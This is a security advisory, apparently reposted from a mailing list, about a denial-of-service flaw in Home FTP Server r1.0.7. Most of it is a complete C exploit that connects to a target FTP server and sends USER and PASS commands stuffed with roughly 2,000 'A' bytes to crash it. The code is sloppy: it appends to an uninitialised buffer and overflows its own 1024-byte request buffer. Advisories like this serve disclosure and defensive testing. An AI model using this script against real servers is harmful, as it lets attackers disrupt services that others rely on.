[EXPL] Home FTP Server DoS (Exploit)

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  Home FTP Server DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://downstairs.dnsalias.net/homeserver_download.html> Home FTP 
server is a very easy to use Windows FTP server application with all the 
nice FTP features included."

Home FTP server does not handle large buffers properly allowing attackers 
to cause a DoS on the server.

DETAILS

Vulnerable Systems:
 * Home FTP server version r1.0.7

Exploit:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers 
Institute\n\n");
printf("[i] Title:              \tHome Ftp <= r1.0.7 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct 
sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}

int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[2011];
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 for(i=0;i<2011;i++)
  strcat(junk_data,"\x41");
 sprintf(request,POCSTR,junk_data,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 if ( send ( s, request, strlen (request), 0) <= 0 )
 {
         printf("[e] Failed to send buffer\n");
         close(s);
         exit(1);
 }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kapda.ir@securityfocus.com> 
KAPDA.
The original article can be found at:  <http://www.kapda.ir/> 
http://www.kapda.ir/



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